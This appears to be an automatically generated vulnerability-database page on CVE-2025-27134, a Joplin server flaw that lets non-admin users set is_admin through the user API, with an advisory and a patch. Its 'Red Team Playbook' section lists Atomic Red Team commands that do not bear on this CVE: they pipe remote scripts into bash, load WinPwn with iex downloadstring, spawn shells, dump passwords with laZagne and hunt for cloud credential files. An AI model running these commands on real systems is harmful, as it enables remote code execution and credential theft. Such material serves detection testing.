CVE-2025-27134
Overview
This vulnerability is a privilege escalation flaw caused by improper access control in the Joplin server's API. Specifically, the PATCH /api/users/:id endpoint fails to restrict modification of the is_admin field, allowing authenticated non-admin users to escalate their privileges. The affected component is the user management API within Joplin server versions prior to 3.3.3.
Vulnerability Description
Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/:id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.
Impact
An attacker with valid user credentials can exploit this vulnerability to escalate privileges to an administrator level without authorization. This enables unauthorized administrative actions such as modifying other users, accessing sensitive data, or changing system configurations. The exploit requires network access and authenticated user privileges (PR:L) but no user interaction (UI:N). The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates high impact on confidentiality, integrity, and availability within the same security scope.
Solution
To remediate this vulnerability, upgrade Joplin server to version 3.3.3 or later, where the PATCH /api/users/:id endpoint enforces proper authorization on the is_admin field. Refer to the official security advisory at https://github.com/laurent22/joplin/security/advisories/GHSA-xj67-649m-3p8x for detailed patch instructions and commit 12baa9827dac9da903f244c9f358e3deb264e228 for the specific fix implementation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The privilege escalation vulnerability in the Joplin server presents a significant security concern, particularly for installations prior to version 3.3.3. This flaw allows non-administrative users to exploit an API endpoint, specifically `PATCH /api/users/:id`, to manipulate user roles by setting the `is_admin` field to 1. The underlying issue stems from inadequate access controls on the API, which fails to properly validate user permissions before allowing changes to sensitive user attributes. This oversight enables low-privileged users to gain administrative rights, effectively bypassing the intended security model of the application.
Attack vectors for this vulnerability are relatively straightforward, as they primarily involve crafting malicious API requests to the vulnerable endpoint. An attacker with basic knowledge of the Joplin server's API could leverage tools such as cURL or Postman to send a crafted PATCH request. By targeting the API with the appropriate user ID, the attacker can escalate their privileges without any sophisticated techniques. This ease of exploitation means that even users with limited technical skills could potentially execute an attack, making it a pressing concern for organizations relying on Joplin for note-taking and task management.
The real-world impact of this vulnerability can be severe, especially for organizations that utilize Joplin for collaborative work. Once a low-privileged user gains administrative access, they can perform a range of unauthorized actions, including altering or deleting critical data, managing user accounts, and accessing sensitive information. This can lead to data breaches, loss of integrity, and significant disruption of business operations. The potential for malicious actors to exploit this vulnerability raises the stakes, as it could result in reputational damage, legal ramifications, and financial losses for affected organizations.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched version of Joplin. Regularly updating software is a fundamental practice in cybersecurity that helps protect against known vulnerabilities. Additionally, implementing robust access controls and monitoring API usage can provide an additional layer of security. Organizations should audit their user roles and permissions to ensure that only authorized personnel have administrative access. Employing intrusion detection systems (IDS) can also help identify unusual patterns of API usage that may indicate an attempted exploitation of this vulnerability.
In conclusion, the privilege escalation vulnerability in the Joplin server underscores the importance of rigorous security practices in software development and deployment. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against such threats. Proactive measures, including timely updates and stringent access controls, are essential in safeguarding sensitive data and maintaining the integrity of business operations. As the cybersecurity landscape continues to evolve, staying informed about vulnerabilities and implementing effective mitigation strategies will be crucial for protecting organizational assets.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Joplin Project | Joplin | All |
cpe:2.3:a:joplin_project:joplin:*:*:*:*:*:-:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-27134 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/laurent22/joplin/security/advisories/GHSA-xj67-649m-3p8x |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/laurent22/joplin/commit/12baa9827dac9da903f244c9f358e3deb264e228 |